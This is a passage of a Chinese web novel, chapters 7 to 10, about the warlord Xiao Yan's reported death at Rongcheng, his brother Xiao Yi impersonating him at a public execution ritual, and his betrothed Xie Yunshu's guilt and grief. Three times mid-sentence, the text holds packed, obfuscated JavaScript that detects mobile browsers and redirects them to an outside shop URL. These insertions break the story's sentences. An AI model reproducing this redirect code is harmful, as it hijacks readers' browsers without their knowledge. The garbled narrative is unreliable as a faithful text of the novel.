公孙袭的军队据守在一处形似卧驼的山隘间,两侧峭壁如削。玄甲军如离弦之箭直扑敌营,可本该从后翼包抄的置厝军迟迟未至,玄甲军孤军深入,军队腹部快要完全暴露在敌军之内。 四周鸦静,连风都止住了。 在唯一的通道被公孙袭的三重鹿角阵型彻底锁死之前,萧晏急下令军队往后退守。 下一秒,一支鸣镝破空而起。弩机绷弦的嗡鸣声似擦过耳畔,无数箭矢从四面八方倾泻而下,箭雨遮蔽了微露的天光。 三支弩箭穿透马铠,扎进乌骓后腿和腹部。战马人立而起,发出凄厉的嘶鸣。萧晏滚鞍跃下,亲兵立刻涌上来用身体组成盾墙。 “撤!” 此战,玄甲军遭到暗算节节败退。 -- 与此同时,数千里外,北燕的状况也并不容乐观。 数月之前,混在贾鲁流民中对萧晏行刺的刺客终于被擒获。审讯人员在他的身上搜出了一枚壶嘴状的鱼符,经证实,此人乃北燕旧王室某位贵胄秘密豢养的死士,消息一经披露,满城惶然。 北燕旧王室还有余孽? 据还在世的老人回忆,当年北燕王室的暴虐曾多次引发天谴,久旱三年,蝗灾遍地,天上红日如同悬于头顶的一抹不祥之血。 百姓的恐惧需要宣泄,愤怒需要祭品。 唯有以最酷烈、最公开的方式,将这“旧代的幽灵”彻底撕碎,才能重铸当下的秩序。于是在汹涌如潮的民意推动下,萧、魏、梁三家不得不迅速达成合议:十月十五号午时三刻,于菜市口设祭坛,对刺客行“寸磔”之刑,以其之血肉告慰惶惶人心。 作为被行刺的对象,萧晏被要求主持当天的祭礼。 可问题是,萧晏已经秘密南下。 当谢云姝得了消息去到萧府正厅时,堂上已有微微喧哗。徐夫人端坐于首,孙先生站于中央,萧家僚属位列两侧。 只是她的目光扫过一旁,不禁诧异。 萧翊,怎么也在这儿? 这让她立刻想起忆起前几日,她在府中散步时路过萧晏院外,恰好听见他怒骂手底下的仆从,“把这不干净的东西丢了去,碍眼!” 不一会儿,瑞平捧着一件兜帽的狐裘披风出来,正要处理。她定睛一看,可不就是她那日雪夜里忍着风雪给萧翊披上的那件? 正这么想着,萧翊的目光也恰好转过来,与她撞个正着。不过一瞬,他却冷着眼,似见了瘟神般移开目光。 他在躲什么,是觉得该避嫌? 也罢,从今往后他与徐夫人之间的种种恩怨,她少管些便好。想通这一点,谢云姝随即淡淡别开眼,因而未曾察觉,那道目光不知何时又静静落回了她的侧脸。 徐夫人的声音斩钉截铁,“我绝不同意向百姓公开晏儿南下之事。魏梁两家虎视眈眈,此刻若露怯,无异于将咽喉送至对方刀下!” “夫人,蓟州城防已然如铁壁,即便少主不在城中,魏梁两家短期内也绝对翻不出什么浪来。可祭礼万民瞩目,一旦百姓的信任崩塌,后果将不堪设想。” “百姓?魏梁两家的狼子野心,岂非不比百姓值得忌惮一百倍?若连眼前的刀剑都挡不住,何谈将来?” ...... 争执之下,孙城再出口相劝,“无民之主,岂能言君?” “孙先生,你话严重了。”徐夫人的脸色难看到极致,无论孙城如何劝说,她的态度都异常坚决。 谢云姝静立一旁,将这场愈发激烈的争执尽收耳中。不过小半刻钟,她便从那些尖锐的言辞里拼凑出一个令人心惊的结论——徐夫人竟然打算让萧翊假扮他的兄长,站上祭礼的高台?! 实在荒唐!! 虽说她初来北燕时,也曾将萧翊认错过。可他二人除去身高体型气质天差地别,熟识之人一眼便能认出。 “夫人,公子纵与少主有几分神似,可他年未弱冠,面容犹存稚气,如何能瞒过众人眼目?” “祭台高筑,民众远观,只需身形相似、仪态模仿,再以金甲覆面足在祭台上站足一个时辰,足以瞒天过海。” “可这...”孙城还想说些什么,却被徐夫人厉声止住,“你知不知道,因为晏儿久不在蓟州城露面,徐家老贼已经暗中派人在城内散播晏儿身中刺客毒箭,不治而亡的死讯?” 不知为何,听到这话谢云姝胸口微微猛地被刺了一下,有些耳鸣。她极力站定,又听见徐夫人在耳旁说道:“如今,百姓恐慌,蓟州城局势动荡。想要万无一失渡过此局,晏儿就必须出现在祭礼台上!” “你意下如何?” 徐夫人语气生硬,对着厅下的一人问。 萧翊反应了好一会儿,才意识到徐夫人是在与自己说话,只得垂眸,他还有得选择么? “谨听母...夫人吩咐。” 听到萧翊未出口的“母亲”二字,徐夫人神色微变,迅速移开视线,转而看向谢云姝。 “袖袖,世人皆知你与晏儿有婚约在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659109|188353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身,届时还需麻烦你挽着‘晏儿’的手,一同出现在祭礼台上,若你相伴在侧,百姓便不会质疑他的身份。” 谢云姝心中抗拒万分,这根本就是一个可笑的谎言。 萧晏是萧晏,他是他。 “虽是假扮,却也不可掉以轻心。往后,你二人从今日起,便多接触些。这几日,让张平跟着你二人,将晏儿的喜好习惯都摸透。” ...... 接下来的几日,张平跟在他二人身旁,事无巨细地讲解萧晏的言行举止——他执笔的姿势,走路的步态,甚至饮茶时指尖轻叩杯壁的习惯。 谢云姝沉默地听着,萧翊一连几日也都冷着脸,不知在想些什么 离祭礼大典只有不到三日,徐夫人见他二人这般态度,脸色愈发阴沉,“这样下去,只怕他们还没站上祭台他们便要露馅!” “既然做不到神形相似,那便在别处将戏做全。” 翌日,下午徐夫人便秘密请来了北燕最负盛名的妆娘。 年轻的妆娘在徐夫人以全家性命相胁下,指尖微颤地执起画笔。她调匀青黛,先是在萧翊眉峰处细细晕染。 接着以深浅不同的脂粉在他颊侧轻扫,光影交错间,那熟悉的轮廓一寸寸浮现。 约莫一个时辰后,妆师伏地敬称:“...夫人,好了。” 萧翊抬眸的刹那,谢云姝呼吸一滞。 像,太像了。 不过寥寥数笔,萧翊的轮廓线条褪去青涩,变得利落分明。那双如刀锋一般却总是向下垂的眼睛,被妆娘以极细的笔触微微上挑,倒显出几分不容置喙的威仪。 徐夫人眼底翻涌着复杂的情绪,这张与儿子如此相像的脸,偏偏是她此生屈辱的见证。她匆匆地留下几句话,猛地拂袖转身离开。 谢云姝站在原地,仍怔怔望着那张脸。萧晏南下已经快过了一个月,除却先前的几封捷报,再无消息。 她深知,战场上的动向瞬息万变。关于那个梦...谢云姝心中一绞,不知他可还安好? 母亲和弟弟,此时又在做什么? 恍惚之间,却见萧翊抬手拭去眼角多余的脂粉,露出一抹属于他自己的、冷厉的轮廓。 “别这样看我。”萧翊讥讽道,“我不是他。” 谢云姝心下冷笑,这人怎么无时无刻不像是浑身竖着刺。 “你当然不是。”她抬眼,目光清凌凌地扫过去,反唇相讥:“你兄长看人时目光端方平直,带着真诚和威仪。不像你,总是垂着眼,藏着一身的阴郁气,怎么看都不像好人。” 话毕,萧翊讥诮的嘴角渐渐收住。 看着她的目光凌厉,复杂,“你说的没错,我本就不是好人。” 谢云姝:“......” -- 8. 第8章 避嫌 是夜,残月如钩悬挂在岷山隘口之上。 中军大帐内灯火通明。突然,帐帘被人粗暴地挑开,一个雄壮的身影裹挟着夜间的寒气大步闯入。他刚清点完军队的死伤人数,步伐之急,连铠甲都还未解。 此人名叫祁融,是萧晏手下的头号悍将,年过四十,却仍然雄壮威风。他一把扯下沾血的披风,一双虎目因激愤而布满血丝,“公孙老贼,我与他之仇不共戴天!” “祁融!”一旁的欧阳允低呵着,提醒他注意点。 这位以智计闻名的参军,从年少时就在萧家方阵中效力。萧晏继任之后,一路随着他南下破幽关,擒陈氏,三天攻下七城。 可以说,在萧晏声名鹊起的背后少不了身边这位心腹的助力。 萧晏端坐主位,卸去了胸甲,只着深色常服,他指尖无意识地摩挲着,目光落在面前粗糙的军事舆图上,他深知祁融品性,并未多怪罪。 祁融的怒火,也是在座所有人的怒火。 “他娘的公孙老贼,那山口的地形就像是专为我们玄甲铁骑设计的一样,鹿角、陷坑、弩阵……一环扣一环!若非少主当机立断,我等怕是已陷在里面了!” 欧阳允也在一边道:“少主,今日之战蹊跷之处甚多。公孙袭布阵严丝合缝,仿佛早已料到我军会自侧翼突入。且其三处伏兵所据之地,皆是克制我骑兵冲击的险要,这绝非是巧合。” “欧阳参军的意思是,我军内部出现了叛徒?” “这倒不见得。只是,今日交锋过后我们皆知晓公孙袭之能,且他拥兵数万,又与葛威,刘显合众,兵力无限。倘若他真欲取蓉城,怎会围城数月却不见丝毫进展?如今,他又如此大费周章将我们以及置厝的守军主力,都吸引到这西线来…诸位想想,这是为何?” 欧阳允的手指在沙盘上由蓉城缓缓向东移动,随后落在东南方向,“或许从一开始,公孙袭的目标便不在蓉城,而是——” “置厝!” 这下,连祁融也瞪大双眼,“他要取置厝?那可是江南门户!” 帐中响起一片倒吸冷气的声音,他们都太清楚置厝的战略意义。这座要塞控扼三江航道,既是南粮北运的枢纽,更是屏护整个江南的锁钥。一旦失守,整个南方水网便将门户大开。 萧晏声音变沉,“置厝军那边,联络上了吗?” 帐下一名负责联络的校尉连忙躬身,“少主,尚未...” “最后一次接到他们信号,是在赤色火箭升起后不久,他们表示正按计划向乌鸦岭侧翼迂回,之后便再无音讯。我们派出的三批斥候,也仅有最后一批带回消息,说乌鸦岭方向曾爆发激战,但很快平息,如今情况不明。” 置厝军失联,意味着玄甲军不仅失去了策应,更可能陷入了孤立无援的境地,帐内陷入死寂。 忽然,萧晏对着帐外阴影处,“陈梧。” 侍立帐外的斥候应声而入,单膝跪地。 “你亲自挑选几个最得力的人,换上便装兵分三路,连夜出发。”萧晏的声音不高,却字字如铁,“一路快马加鞭返回置厝,严密监控周边百里任何可疑的军队调动。另一路去往蓉城,与卫期将军取得联系,称计划有变。我们要在刘显攻城之前提前开东门,唱一出空城计。届时以葛威多疑的性格必然会另生疑心,蓉城围军便可不战而退。” “还有一路呢?”祁融问。 萧晏微微一笑,“你们可别忘了,江左还有我们的老朋友陈颢。” 当年,萧晏率军攻打江左,三天连破七城,主帅陈颢吓得弃城而逃,逃跑过程中为了躲避追兵,竟一头钻进了农夫的粪车,被推了几里路才敢出来。 从此,陈颢‘粪车将军’的雅号传遍天下,他后来深知复土无望,便去符州投靠了自己的叔父,陈颢的叔父有德无才,驭下无能。陈颢来了之后符州如虎添翼,陈颢也在此立稳根基。 他恨不得生啖萧晏之肉,若是知道萧晏出现在置厝,恐怕会倾巢而出。 ...... “少主,那我们下一步是不是要绕道回置厝?” 置厝,绝不能失守。 话刚说出口,祁融便注意到欧阳允朝他看了一眼,而主座上的人此时沉默,唯有跳动的烛火在他的轮廓下勾勒出阴影。 等了一会儿,萧晏才缓缓开口,”祁融,欧阳允,你们二人持我军令明日改道置厝,向陈颢放出假消息引他和公孙袭激战,然后我们再坐收渔利。” “好主意!”祁融又问:“少主,那你呢?” 萧晏:“…我今夜子时率领剩余人按照计划奇袭蓉城。” 他承认,这并不是个完全理智的决定。 可蓉城之困还未解,他和袖袖的约定就还没完成。更何况,西南十六州,也是他的战略目的。 欧阳允劝:“少主不可,公孙袭的部队虽已改道置厝,可蓉城之外葛威和刘显依旧虎视眈眈,您只率五百精兵,恐怕会有危险。” 萧晏却摆摆手,“无妨。三军内唯有公孙袭此人阴险狡诈值得忌惮。剩余二人中,刘显贪利,葛威多疑,不值一提。” “可是...” 萧晏的眼眸中已有锐意,“我心意已决,诸位不必再劝。” ...... 夜晚,萧晏在信上落下最后一笔,就着帐内的火光将信装好递给身后的传令兵,“传回北燕。” 此地离蓉城不过二十里,萧晏清点完五百轻骑后不经意仰头见皓月当空,秋风瑟瑟,今晚的月色真美。 “袖袖,等我。”萧晏在心中默念。 -- 北燕。 自从妆娘给萧翊化完妆后,徐夫人便越想越气血不畅,“那个贱人生的儿子,凭什么与我的晏儿这么相似?”她郁气凝结,竟然当下呕出一口血,吓坏了屋内服侍的所有人。 “来人啊!”屋外的徐侍卫应声而进,“你今夜派人去一趟二公子院内,将这一支箭射在他胸口,记住,要与晏儿遇刺时的伤口位置一模一样。” 嬷嬷听罢面色发白,“夫人,这……只怕不妥啊。” 徐夫人立于廊影深处,声线寒如霜雪:“既然做戏,便要做全。我儿受过的苦,他也该亲身尝一遍,方能刻骨铭心。” 是夜,萧翊被两名侍卫拖着至谢云姝院外,随意弃置在石阶旁,闹出的动静不小,惊动了谢云姝。她正疑惑今夜院中值守为何如此稀疏,还是冒着严寒推开院门,只见月光下,萧翊肩胛处插着一道新箭,伤口正汩汩渗着血,浸透了大半衣衫。 “这??”谢云姝如临大敌,他在萧府怎还会受箭伤? 难道,那些北燕余孽还有同党,杀进了萧府?只一瞬,谢云姝便否决了个想法。她宁愿相信,这又是徐夫人折磨萧翊的手段...等等,谢云姝止住思绪,垂眼去看石阶下的萧翊。 ...... 烛火跳动的室内,血腥味顿时弥漫开来。 一回生二回熟,这一次谢云姝利落地剪开他肩头的衣衫,箭簇的位置在他的左胸上方两寸,伤口狰狞。她取过一旁备好的干净布巾和伤药,目光冷静地道:“会有点痛。” 她手握紧箭杆,猛地用力将箭簇拔出。下一秒,温热的液体飚射出来溅在她的眼睑,脸颊。 谢云姝下意识地闭了下眼,没想到那箭簇上竟还有倒钩? 皮肉被钩子撕裂,萧翊痛苦地闷哼。余光里,却见谢云姝已拿起浸湿的布巾,迅速按上他涌血的伤口,随后沉默地清洗、上药、包扎。每一个动作都看似沉稳利落,可只有萧翊注意到,她的手有些微微发抖。 萧晏那时候,受的也是这般苦么?谢云姝又想起那个被困在水里的梦,“萧晏,你千万不能有事...”她在心中默念着。 最后一块纱布固定好,萧翊看着她,攥住她即将抽离的手腕,“你哭什么?” 谢云姝迅速敛去脸上的表情,“抱歉,我没想到箭簇上有倒钩,很疼吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659110|188353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 她尝试着挣脱,可萧翊却没放手,伤口被扯到,被包扎好的绷带又渗出一点血。他目光幽深,“因为这个哭?” “不是,”谢云姝不欲和他多说什么,她收起药箱,走到盆架边用清水净了手,又擦拭着脸上的血点,才淡淡补充:“往后你若再受伤,不要倒在我的院门口。你也知道这府上之人鱼龙混杂,人言可畏。身为你未来的大嫂,我们之间的关系需要避嫌。” “避嫌?”萧翊出言讥讽,“那你早干嘛去了?那日在城门口,怎么不从我的马上跳下去?你屡次相救,为我克扣用度,为我顶撞夫人的时候,怎么没想过避嫌?” 谢云姝怔住了,原来那些出于责任与承诺的举动,真的会在别人眼中映照出别样的意味,包括萧翊。 萧翊也怔住了。 这话,怎么说出口便有些变味儿了?这时,他的目光猛然地定在一旁木架上的披风上,那是前几日他让瑞平丢掉的披风。怎么又回到了她这里? 谢云姝循着萧翊的目光看过去,连忙解释:“你别误会,只是这件狐裘披风的料子我很喜欢,不舍得丢而已。其余动物毛制成的披风,我披着有些过敏。” “谁误会了?”萧翊瞳孔微缩,声音沉了下去:“那日,你看见了?” 见到他命人将她“送”的披风丢了出去,他张了张嘴,似乎想解释什么,可谢云姝云淡风轻,“那不重要。” 萧翊有些烦躁,“不重要,那你今日为何又要救我?干脆,让我死在雪地里。” 谢云姝抬眸看他,淡淡道:“不一样,怀瑾哥南下前曾嘱托过我,望我代为照顾你。而今夜你是为怀瑾哥而伤,我救你是应该的。” 萧翊眼中掠过一丝阴郁,转瞬却化作浅笑:“你与大哥之间的情谊,当真如此深厚?” “难道你就从未想过,万一大哥击退公孙袭后,会顺势吞并蓉城?到那时你便是引狼入室、祸乱蜀地的罪人。” 谢云姝眼神微动。她何止想过,更与与卫期将军反复推演过。而这些日子,每当忆起那场密谋,她便觉得辜负了萧晏那份毫无保留的信任。因而每次梦见萧晏遇险,她都难以安枕。 “我劝你,莫要太轻信于人。” 回想起萧晏南下前托付给她的那件信物,谢云姝也止不住回怼,“二公子。”她抬眸看他,目光沉静而郑重,“我也劝你,莫要过度沉溺于自身苦痛,而辜负了身边人的真心。” 不待萧翊说话,她侧身对着门槛,下了逐客令。“二公子,天色已晚,不送。” 夜风猛地灌入室内,吹得烛火剧烈摇晃。 萧翊的脸明暗不定。 他突然起身,动作之大撕裂了伤口,他却浑然不觉,只是冲到木架前一把扯过那件黑色的狐裘披风,紧紧攥在手里。 “这披风太丑,”他背对着她,声音从牙缝里挤出,“我替你扔了。” -- 十月十五,祭礼日。 蓟州城内几乎万人空巷,百姓簇拥在长街两侧。谢云姝挽着萧翊臂弯,在百姓的注视下一步步登上祭礼台。 群情沸腾之下,萧翊手持玉板,扬手高呼:“行刑!” 乌泱泱地人声,鼓声交织在一起。玉板被萧翊重重掷下,被摔得粉碎时,谢云姝突然觉得心悸地漏跳了一拍。 几乎是一瞬间,她痛地弯腰捂住胸口。余光之中,却见徐夫人身边的嬷嬷疾步走来,脸色苍白地在她耳边说着什么。 “夫人,快回府!”嬷嬷泣不成声。 几乎是一瞬间,徐夫人也感应到什么,脸上的血色霎时消失。但祭礼上人人注目,她只能强撑着发抖的身子,骂道:“祭礼之上,慌什么!” ...... 这场盛大的祭礼从未如此漫长。 当最后一道仪式完成,车驾甫一驶入萧府朱门,管家便捧着一封信函踉跄跪倒:“夫人!蓉城八百里加急,少主他......身陷蓉城,力战而亡了!” 9. 第9章 战死 连着几日都阴沉的天穹开了一道口子,重重的、鹅毛般的雪片铺天盖地地倾泻下来。 大雪之下,积雪盖了萧府朱漆大门前的两尊石狮子,如同披上了两块惨白的孝布。 往日森严整肃的府邸,如今被死寂笼罩。 萧晏的棺椁沉重地压在祠堂中央。 谢云姝就站在祠堂的入口,望着那口黑压压的棺材,久久说不出一个字来。 死了...死在蓉城?萧晏他不是很厉害么,年少成名,战功赫赫,三日连破七城。连父亲也曾夸赞他有御宇天下之才...昨日,她还收到了他寄回北燕的信,说一切准备就绪,他要赶在年关前凯旋迎娶自己过门。 他怎么可能死在蓉城? 角落里,身着着赤甲,头顶缟帽的陈梧跪在一旁,面容悲戚。谢云姝猛地扑过去,死死抓住他的衣袖,“陈军使!这一切,都是假的对不对.....你告诉我,他怎么可能会死?” “夫人,少夫人...末将护主不利,致使五百玄铁军遭到了葛威刘显夹击...” 谢云姝脸上苍白,紧接着问:“卫期将军呢?他有没有与你们合众逼退敌军?” 陈梧的眼神变暗了些,“我们赶到蓉城时,蓉城东门大开。我们只在现场找到卫期将军的尸首...” 谢云姝的声音破碎不堪,带着最后一丝微弱的期盼:“那……母亲和弟弟呢?他们…他们怎么样了?” “回少夫人,当日我们自东门进入蓉城后,先与葛威的人经历了一场恶战。不料刘显与公孙袭的联军又从后方突袭……我军腹背受敌,实在无力寻到夫人和公子的下落。就连少主也……” 他咬了咬牙,心如刀绞,“蓉城…失守。我们……败了。” “但是,我们在卫将军的遗体上找到了这个。”陈梧从怀中取出一物,“想来……应是少夫人的旧物。” 那是一枚玄铁打造的虎符,只有半掌大小,形制古拙,上面刻着细密的云纹,正是谢家独有的信物“玄云令”。 有了它,就能即刻召集所有蜀地秘密培养的死士。但同时不到千钧一刻的时机,也断然不可驱动。 谢云姝脸上的泪倏然间止住,她惊惶地睁大眼睛。 在她离家前曾和卫期将军合计过,以萧晏的性格,若能冲破北燕其他家族的阻碍,大概率他是愿意南下的。 到时候他们可以佯装开东门,引公孙袭、葛威和刘显三军深入,与萧晏的援兵来个瓮中捉鳖。 只不过东门一开,蓉城将彻底暴露在萧家军的铁骑之下,他们很有可能顺水推舟控制蓉城,进而一路西下拿下西南十六州... 因此对待萧家军,他们既要倚靠,也不得不防备。 好在,蓉城的最后一道防线不在于东门,而在于西门的落崖关。 落崖关表面是千仞绝壁,可崖底却别有洞天。云烟寥雾之下,有一处严密的军事堡垒,可容纳上万民士兵,且可抵御数十万敌军。 临行前夕,谢云姝将调动谢家暗军的玄云令交予母亲,叮嘱她一旦情势危急,即率领宗族退守落崖关。卫期将军则提议,为确保万无一失,母亲退守时可将玄云令移交给他,由他率领死士做最后的抵抗,争取时间。 “母亲,届时无论东门战况如何惨烈,万万不可开关相迎。” “袖袖,为娘记住了。” ...... “不可能……这不可能……”谢云姝神魂俱碎,她踉跄着后退,几乎站立不稳。 “啪——!” 一记清脆而沉重的耳光,狠狠扇在了谢云姝的脸上。 徐夫人不知何时已冲到她面前,那双曾经对她流露出些许温和目光的眼睛,此刻只剩下蚀骨的怨恨。 她盯着谢云姝,一字一句,如同从寒冰地狱出来的恶鬼:“都是你。” “若不是你日日忧心,苦苦哀求他南下援兵,我的晏儿……我的晏儿怎么会离开蓟州,怎么会去那该死的蓉城!怎么会死?!” 谢云姝捂着脸颊,那火辣辣的疼痛远不及心口万分之一。她望着徐夫人扭曲的面容,只觉得整个世界都在眼前寸寸碎裂。 是啊,是她。 她千算万算,唯独没有算到,萧晏会在三家合围下战死于东门。 更不曾想到,正是她对母亲那句“万万不可开关”的叮嘱,断绝了萧晏最后的生路。 母亲在崖下一定听到了外面惨烈的打斗声,但是她牢记了自己的叮嘱。 是她,是她亲手害死了萧晏...... 谢云姝眼眶中蓄满的泪水终于决堤而出,她瘫跪在地,额前在地上重重地磕着,暗红的血迹在地面晕开。可罪孽如影随形,缠得她几乎窒息。 不知是谁“哇”地一声痛哭出来,满堂的啜泣声很快汹涌地连成一片,此起彼伏。 “不,我儿不会死!”徐夫人眼中迸发出一丝近乎疯狂的光芒,“我儿征战沙场多年,从未有过败绩,他怎会死?” 她的目光如刀锋般扫过灵堂,“都把眼泪给我收回去!我儿没死,谁敢再哭,立刻给我滚出萧府!” 满堂仆从纷纷低头,强忍悲声。 静默片刻后,徐夫人缓缓走向棺椁,摸着上面的纹路,轻声道:“来人,开棺。” 这声命令轻如耳语,却让整个灵堂为之一震。 “夫人……”萧府最年长的管家踉跄上前,老泪纵横,“使不得啊…按制,逝者为大,您就让少主...让少主安心地去吧...” 徐夫人沉静地转身,重复了一遍,“我儿不会死,我叫你们开棺!” 压抑的抽泣在梁柱间回荡,久久,却不见人敢动手。 “你们……竟连我的话都不听了?” 徐夫人捂住胸口,声嘶力竭。 “住手!” 这时,一声苍老的喝止从门外传来。众人抬眼看过去,只见一道蹒跚的身影在嬷嬷的搀扶下颤巍巍地走进灵堂。一夜之间,萧老夫人已经满头银丝,病痛已经将她折磨得枯槁,如今又经此噩耗.... “母亲...”徐夫人下意识地向老夫人行礼,手却被人稳稳抓住握住手心里,“要不是陆家丫头告诉我,你们还想瞒我到什么时候?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659111|188353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >老夫人话音未落,已是泪如雨下。 徐夫人终于崩溃,扑跪在婆婆面前痛哭失声。婆媳二人相拥而泣,灵堂内悲声再起。 待情绪稍平,萧老夫人强撑病体转向陈梧:“陈军使,我问你,你是否亲眼看到我孙儿殉身?” 陈梧欲言又止,随后红着眼眶上前,将一方染血的布包郑重捧上。老夫人颤抖着手揭开,里面是一柄玄铁短剑,这是萧晏及冠时她亲手所赠的佩剑,平时他从不离身。 如今剑鞘已碎,剑身布满裂痕...另有几片主将残甲,甲片边缘焦黑卷曲,深褐色的血渍几乎浸透了金属纹理。 “老夫人,末将该死,没能,没能....” 未尽的言语,是陈梧哽咽到无法继续说下去的话。 老夫人指尖抚过那些残甲,仿佛还能触到当日战场的惨烈。她又问:“陈特使,晏儿在战场上是否勇猛,是否拼尽全力?” 陈梧哭得很大声,“少主他…身陷重围仍死战不退,手刃数十敌将,直到最后一刻……” “这就够了...”老夫人闭目良久,再睁眼时,眼中已是一片死寂的平静。 “蕙兰,你已经守了好几日,”她转头拍了拍儿媳冰凉的手,声音枯哑,“让晏儿……安心去吧。” 这一句,卸下了徐夫人全部的气力,她怔怔地望着棺椁,眼中干涸得再也流不出一滴泪。哀莫大于心死,莫过于此。 “来人,扶夫人回去歇息。”萧老夫人不容置疑地吩咐。在被人搀扶下去之前,徐夫人经过了萧翊的身边。 “我儿死了,从今往后,这个家...都是你的了。”徐夫人说得那样平静,眼神空洞着。 萧晏的死,带走了她全部的执念与生机。那些年处心积虑的防备,那些明里暗里的较量,在这一刻都成了最苍白的笑话。 在徐夫人那心如死灰的平静面前,谢云姝被彻底击溃。她的额头深深埋入掌中,哭得几乎喘不过气。 就在这时,另一滴泪滚烫地低落在谢云姝的手背上。在无人注意的阴影里,谢云姝看见萧翊猛然别过脸去。 灵堂烛火摇曳,映照着他脸上转瞬即逝的湿痕。 -- 晚间时分,萧老夫人即刻召见了陈梧。 “陈梧,你老实对我说。既然晏儿蓉城一战勇猛如常未曾懈怠,怎会身死?” 陈梧俯身跪地,止住心中的悲愤,“回老夫人...末将怀疑,是蓉城守将那边出现了叛徒。” “你如何确定?” “回老夫人,我们从刘显将下一名参军的尸首上搜到了一枚玄云令,方才...少夫人已经认过,这是她的东西。” “你说什么?”身形一晃,脸上血色尽褪。倒不是说是谢云姝勾结外敌,给萧晏设套。 她没有理由这样做。 “晏儿可以死于战场,敌人的刀剑之下,却绝不可以丧命于自己人的冷箭之下...”萧老夫人急得直咳嗽,“查!” “在查清楚害死晏儿的凶手之前,此事不可声张,但也决不能让她离开北燕。” ...... 10. 第10章 丧礼 夜色如墨,萧府大门紧闭,白幡飘荡。 依照北燕习俗,萧翊的灵枢需在府中停灵七日,供亲眷吊唁、法师诵经,待魂魄安息后方可出殡。 这期间,若不得主人允许,外姓人不可贸然入内惊扰往生灵魂。可七日之后呢,萧晏的死讯还能瞒下多久? 魏、梁两家借"关切"之名屡次要求入府吊唁,口口声声要萧家给蓟州百姓一个交代。他们甚至动用了无数高手,却始终无法突破萧家铁桶般的防卫。 可越是窥探不到真相,北燕的暗流就涌动得越发湍急。 经过几番推波助澜,越来越多的线索指向那个令人心惊的猜测:萧府祭奠的,正是此前遭遇刺杀的少主萧晏。 可若当真如此,那日刑台上主持祭祀、处置刺客的又是何人?萧府这片缟素究竟为谁而挂,一时间众说纷纭。 萧府灵堂内,烛火长燃。 萧老夫人强忍悲痛主持大局,眼下熬出了一道道乌青,侍奉的嬷嬷搀扶着她一刻也不敢松懈。而徐夫人因丧子之痛一病不起,再未踏出房门。 谢云姝跪坐灵前,不饮不食,整个人如同被抽走了魂魄。 这几日,她始终独自一人。 “这怎么行?”萧老夫人实在看不下去,唤来谢云姝院中的侍女素娥,“你这奴才怎么当的?你家主子几天不吃不喝,你就由着她这样糟蹋身子?” 素娥委屈地撇嘴:“老夫人……是少夫人自己不愿进食。” 谢云姝恍惚听见这话,心头一阵刺痛。是啊,这府中上下,怕是都在怨她。连素娥...也在怪她,怪她害死了他们可敬的少主。 “混账东西!主子不用膳,你们就不会想想法子吗?若是她的身子有个好歹,我这个老太婆绝不轻饶你们!” 谢云姝本以为眼泪早已流干,可听到“少夫人”三个字。眼见萧老夫人朝她走来,她再也承受不住这份愧疚,挣扎起身向外奔去。 “还愣着做什么?快跟上去!别让她做出什么傻事来!” “是。” …… 谢云姝拼命地跑,却感觉每一步都踏在心尖上,越跑越痛。 等她回过神时,已站在一方莲池前。池水中倒映着一轮残月,清冷的光辉像极了萧晏永远沉静的眼眸。 “萧晏……”她无意识地轻唤,声音破碎在寒风里。 待意识回笼时,冰凉的池水漫过她的鞋履,浸透裙裾,一寸寸缠绕上腰际。她发现,这刺骨的寒意带来一丝麻木,让她暂时逃过眼前的一切。 于是,她越走越远,将整个身子都浸在冰水中。 “来人啊,少夫人跳河了!”身后赶来的素娥被谢云姝吓了一大跳,她不会水,只能在岸上惊恐地叫着,期望夜值的守卫能够听到。 忽然之间,一道黑影从凉亭外飞过来,紧接着是重重的入水声划破寂静。 谢云姝正欲回头,腰间被人死死地揽住,她被人半拖半抱地拽回岸边,有些愣怔,“萧翊?” “你想死?”头顶传来一身厉呵,萧翊的眼眸在夜晚中显得阴狠。“想死也别死在这,现在这府上没人能得闲替你操办后事。” 随后,火把声的浓烟在冷气中搅动着,层层叠叠的人影出现在水榭旁。素娥一路跑着过来,“姑娘,您千万不要想不开啊。” 原来,少夫人对少主的感情这么深厚,甚至不惜殉情。她这些天来做的都是一些什么糊涂事,怎么可以将少主的死归咎在少夫人身上呢? “我没想去死。” “不想死,那你这是在做什么?”萧翊冷声开口。 谢云姝的嘴唇苍白地没有一丝血色,她连解释都显得无力了,“我只是想自己一个人静一静...” 萧翊沉默地看了她良久,最终没再说什么,只是接过瑞平慌乱之中递过来的外袍,用力裹住她抖个不停的身子。 “大哥,不会想看到你这样。” 